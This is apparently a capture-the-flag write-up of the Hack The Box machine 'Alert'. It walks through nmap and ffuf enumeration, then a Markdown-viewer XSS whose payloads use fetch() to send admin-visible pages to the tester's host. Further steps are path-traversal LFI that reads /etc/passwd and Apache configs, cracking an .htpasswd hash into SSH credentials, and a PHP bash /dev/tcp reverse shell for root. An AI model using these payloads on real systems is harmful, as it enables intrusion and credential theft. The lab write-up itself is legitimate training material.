Easy
Alert [20 pts]
Challenge Description |
Points: 20 |
Solves: 4757 |
- exploiting XSS in a Markdown viewer tricks the admin, leading to LFI and retrieval of configuration files with credentials
- credentials enable access, revealing an additional HTTP server on the machine
- creating a reverse shell on the HTTP server allows root login and retrieval of the final flag
Enumeration
We start with nmap
scan of the box. From the output we can see that there are 2 ports open, SSH and HTTP server.
kali@kali:~/HTB/alert $ nmap -sC -sV -oA nmap/alert 10.10.11.44
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP server exploration
We are presented with simple website consisting of 4 pages:
alert.htb/alert
- upload markdown file, view it and generate link for sharingalert.htb/contact
- send contact message and email to admin, which should view italert.htb/about
- info about websitealert.htb/donate
- single field where you can donate some amount to the website
The first thing I noticed is that the pages are selected in index.php
using GET parameter page
: http://alert.htb/index.php?page=alert
. We can fuzz this parameter with ffuf
to get other to other files, which might not be accessible from the webpage itself.
kali@kali:~/HTB/alert $ ffuf -u http://alert.htb/index.php?page=FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fs 690
about [Status: 200, Size: 1046, Words: 187, Lines: 24, Duration: 52ms]
messages [Status: 200, Size: 661, Words: 123, Lines: 25, Duration: 41ms]
donate [Status: 200, Size: 1116, Words: 292, Lines: 29, Duration: 48ms]
contact [Status: 200, Size: 1000, Words: 191, Lines: 29, Duration: 4782ms]
alert [Status: 200, Size: 966, Words: 201, Lines: 29, Duration: 43ms]
We can see that there is another endpoint called messages
, which is not accessible by the website’s navbar. The webpage is empty (for now). The main goal of the website is to render Markdown code provided by the user in a file. Let’s try and see how it works. After clicking on the View Markdown
button, we are taken to visualizer.php
page, which displays the contents and provides functionality to create a link for sharing our document. We can try to upload other files than markdown, but the app refuses to deal with them (checks for .md
extension). However, markdown supports HTML elements, such as <img>
, which could lead to XSS. Let’s try it with simple Markdown file containing <img src=x onerror=alert()>
.
We confirm, that there is XSS on this website, and it can be shared with a link. Remember the contact us page? The text in About Us
mentions that admin checks the messages and processes them. Let’s try to create a simple XSS, which will reach our server and share it with admin via contact form to see, if he clicks on the links provided in messages.
<img src=x onerror="fetch('http://10.10.16.22:8000')">
After starting nc
we can see, that we get a connection from the admin after uploading our payload.
kali@kali:~/HTB/alert $ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.10.16.22] from (UNKNOWN) [10.10.16.22] 41110
Automation of the pipeline
We will be using this pipeline (send XSS to markdown preview → generate link for admin → send link to admin in contact form) a lot so let’s automate it. I’ve created decided to record a macro in BurpSuite, which upon sending any request to alert.htb
triggers the following actions:
- sends request to
localhost:8000
, where we will serve our payload - parse payload from previous response, upload the payload to markdown preview to get shareable link
- parse link from previous response, send the link through contact form
Now we can modify the payload in our file, generate any request to the server and trigger the payload. Let’s take a look at what the admin is seeing on the website … we can fetch any endpoint as admin (in the payload) and then send it to our server (I will be sending it to my server in body of the POST request)
<img src=x onerror="fetch('/index.php?page=contact').then(response => response.text()).then(data => fetch('http://10.10.16.22:8000/', {method:'POST', body:data}))">
And we get the following response:
<!DOCTYPE html>
...
<body>
<nav>
<a href="index.php?page=alert">Markdown Viewer</a>
<a href="index.php?page=contact">Contact Us</a>
<a href="index.php?page=about">About Us</a>
<a href="index.php?page=donate">Donate</a>
<a href="index.php?page=messages">Messages</a>
</nav>
...
Notice that now we can visit messages
page, so let’s do that.
<img src=x onerror="fetch('/index.php?page=messages').then(response => response.text()).then(data => fetch('http://10.10.16.22:8000/', {method:'POST', body:data}))">
This leads to the following response (displaying only a part of it to save some space).
...
<div class="container">
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
</div>
...
Exploiting LFI
We can try to read the file from the response directly, but it is empty. Maybe we can use this functionality to exploit LFI to fetch some other interesting files. However, I was a bit stuck here, as I was not able to send larger files over the connection (it seemed that the connection broke if I tried to send over files like /etc/passwd
, however /etc/hosts
worked fine). I modified the payload to split the files into chunks of 400 characters:
<img src=x onerror="fetch('/messages.php?file=../../../../etc/passwd').then(response => response.text()).then(data => {for (let i = 0; i < data.length; i+=400){fetch('http://10.10.16.22:8000/', {method:'POST', body:data.slice(i, i + 400)})}})">
First I fetched the /etc/passwd
file, which ended up being not so useful. Then I tried to look for server configuration, as this is usually the next step with getting the foothold in easy challenges:
- found chain
/etc/apache2/apache2.conf
→/etc/apache2/ports.conf
→/etc/apache2/sites-enabled/000-default.conf
→/var/www/statistics.alert.htb/.htpasswd
where we getalbert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
- we can crack this password using Hashcat:
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
- use the
albert:manchesterunited
to SSH into the machine and get user flag
Privilege escalation
After connecting to the server we can see a service running at localhost:8000
, we can use SSH to forward our port and access the page. It’s a service monitoring page, let’s explore it on the server.
- the service is located at
/opt/website-monitor
- all files are owned by root, but configuration folder is in group
management
(in which the useralbert
is as well) - this means that we can upload simple PHP reverse shell and try to access it in our browser
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.209/1234 0>&1'");
?>
We get the shell as root and can read the root flag.